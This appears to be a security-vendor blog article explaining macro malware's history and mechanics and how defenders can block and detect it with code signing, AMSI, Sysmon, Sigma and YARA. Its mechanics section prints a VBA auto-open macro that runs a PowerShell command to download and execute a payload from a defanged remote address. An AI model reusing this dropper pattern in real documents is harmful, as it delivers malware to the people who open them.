How to Fight Back Against Macro Malware

Delivering malware, a cybercrime practice that spans every skill level and adversarial motivation, can take various forms. But all too often, malicious payloads are served up via macros in productivity files, accounting for much of the overall malware delivery around the world. Why? Organizations and webmail providers typically don’t block these types of files, and by hiding malcode inside macros, cybercriminals can conceal their intentions until a potential victim unwittingly unleashes the payload.

Macros are an integral part of office productivity software, such as document, presentation and spreadsheet creation programs. Their role is inherently legitimate: They help users automate sequences of common actions they wish to take often, recording the flow and then launching it with the click of a button. But while macros were created to help improve efficiency, it wasn’t long before attackers found a way to abuse this feature.

IBM X-Force research frequently encounters the use of malicious macros in the investigation of incidents, threat hunts and intelligence research. Per X-Force Incident Response and Intelligence Services (IRIS), at least 22 percent of reported campaigns in April 2019 delivered malware via booby-trapped macros. The number fluctuates and can easily reach more than a third of campaigns as attackers vary their malspam volume over time.

Given the continuous prevalence of this threat tactic, it is important for security teams to understand its usage, how to protect networks against such attacks and the methods that defenders can leverage to help detect malicious macro activity.

Some Malicious Macro History

The weaponization of macros happened shortly after they were introduced to computer users in the early 1990s. The first known samples of macro malware at that time — such as Concept and XM_LAROUX, the first working Excel macro virus found in general circulation — just displayed a dialogue box, essentially proving the capabilities of macros as a vector for deploying malware.

One of the first booby-trapped macro examples emerged in 1999. It was a macro virus dubbed Melissa that mass-mailed itself to Outlook email addresses on a victim’s system, impacting the performance of business email servers worldwide.

The early 2000s brought the first lull in activity, likely due to the fact that macro malware hadn’t changed much in that time, so security vendors could easily write signatures to block it.

A surge of activity occurred again in 2006, but quickly died down as developers implemented new security features, such as disabling macros by default in Office suite files.

In the mid-2010s, we saw the return of malicious macro usage for running code and distributing additional payloads. Since then, usage has continued with a wide variety of attacks by phishers, cybercriminals and nation-state adversaries alike.

How Macro Malware Works

While the exact ways in which attackers abuse macros varies, it is worth looking at some of the common uses that IBM X-Force often sees during its research.

Most commonly, a document or spreadsheet containing malicious macros is distributed as an attachment in a phishing email or via a download link in an email. When the user opens the document, there is often some decoy content and a request to enable macros.

The macros leverage a variety of Visual Basic functions that cause them to automatically run without user interaction as soon as they are enabled. Malicious macros are most often used as a dropper for a payload that serves the attacker’s ultimate goal. The payload can be retrieved through different methods, a common one being the use of PowerShell commands executed by the macro to download the file from a remote URL.

The following is an example of what this might look like:

Sub Auto_Open()

Dim exec As String

exec = “powershell.exe “”IEX ((new-object net.webclient).downloadstring(‘hxxp://1.1.1[.]1/payload.txt’))”””

Shell (exec)

End Sub

Sub AutoOpen()

Auto_Open

End Sub

Sub Workbook_Open()

Auto_Open

End Sub

In this example, the Shell function is called to execute the variable exec, which is a PowerShell command that downloads and executes payload.txt from a remote URL.

Along with executing PowerShell commands, Visual Basic functions can be used to run other shell commands, access the file system and issue direct calls to COM methods and Win32 application programming interfaces (APIs). This gives attackers a wide variety of methods to execute their final payloads, which can be banking Trojans, ransomware or backdoors destined to compromise corporate networks.

Better Prevention at the Source

Since using macros is not inherently malicious and they do have many legitimate use cases, user protection is not as straightforward as just blocking the attack vector. For example, with the addition of macros being disabled by default, even those coded to run on open cannot be executed until a user “allows” the additional content to launch.

However, attackers are often crafty and use social engineering to trick the user into allowing the macros to run by luring them with an email they would be curious to read.

A more recent and advanced solution that has been implemented to reveal what macros may do is the open interface known as Antimalware Scan Interface (AMSI). Antivirus and other security solutions can use AMSI to scan macros and other scripts at runtime to check for malicious behavior. AMSI thus allows any security solution to gain deeper visibility and the ability to detect and alert on high-risk activity. While this is a step forward in macro security, cybersecurity is often a perpetual arms race, and there are already attackers leveraging publicly available AMSI bypass code to circumvent these defenses.

Another method to defend against malicious macros is to place more restrictions on their use in organizational environments. There are built-in Microsoft Office controls that can be set via group policy to help limit the use of untrusted macros. Specifically, digital code signing is designed to block all macros not signed by a trusted entity.

This means that a security team could review any macros users want to run for execution to be allowed, helping to prevent the accidental execution of malicious macros. There are, of course, requirements here to make this change happen across the organization. Think leadership buy-in, business unit cooperation, and an implementation plan to put this control into place and operate it on an ongoing basis as part of the security program.

Detecting Malicious Macro Activity

Where proactive defenses may not prevent all malicious macro activity, security analysts could focus on detection. With logging and alerting via a security information and event management (SIEM) solution, malicious macro activity can be easier to detect. At a high level, the methods to detect this activity involve:

  • Implementing proper logging;
  • Reviewing logs for suspicious activity;
  • Leveraging SIEM signatures; and
  • Performing endpoint scans.

A key place to look for potentially malicious activity is process creation. Monitoring process creation requires either enabling the Audit Process Creation policy for Windows event logging or leveraging software such as Sysmon to capture the necessary information. Sysmon is a Windows tool from Sysinternals that provides comprehensive monitoring of activities on the operating system level.

Assuming such logging is in place, certain parent/child process combinations can be monitored to help identify suspicious activity. Whenever a macro is executed, any processes it calls are spawned from the original application. So, for example, when a malicious macro embedded in a Word document is used to run a PowerShell command, a process creation event will exist for powershell.exe with a parent process of WINWORD.EXE.

Sigma, an open-source project for generic-format SIEM signatures, has a rule for detecting Windows command line executables started from Microsoft Office programs. Using process creation logging, security analysts can also baseline the normal usage of macros in their environment to help identify anomalous activity.

For environments with the capability to perform YARA scans against their hosts, a YARA rule can be used to help look for potentially malicious macro content, such as the AutoOpen function. There are a few methods that can be followed to detect or hunt for malicious macro activity, but in the end, macro use is not inherently malicious. If macro usage in your environment is heavy, there may be a lot of noise to dig through. Using advanced analytics to leverage your SIEM’s capabilities to flag events that should be investigated further can help.

Fight Fire With Fire

By leveraging macros, a built-in Windows feature legitimately and frequently used in corporate environments, attackers can avoid some security solutions and decrease the chance of detection when using malicious code to establish a foothold in a network.

Because of this, malicious macros are a continuous and prevalent threat tactic that all security professionals should be aware of. While the legitimate usage of the feature can make prevention and detection more difficult, there are methods that defenders can leverage to help decrease the chances of a successful attack. Implementing the tips described above can help reduce the risk posed by the most popular methods for payload distribution: macros.

Want to learn more about developing strategies to help defend your user devices and assets? IBM Security offers enterprise security solutions that are designed to help your organization protect against threats, address compliance and grow your business.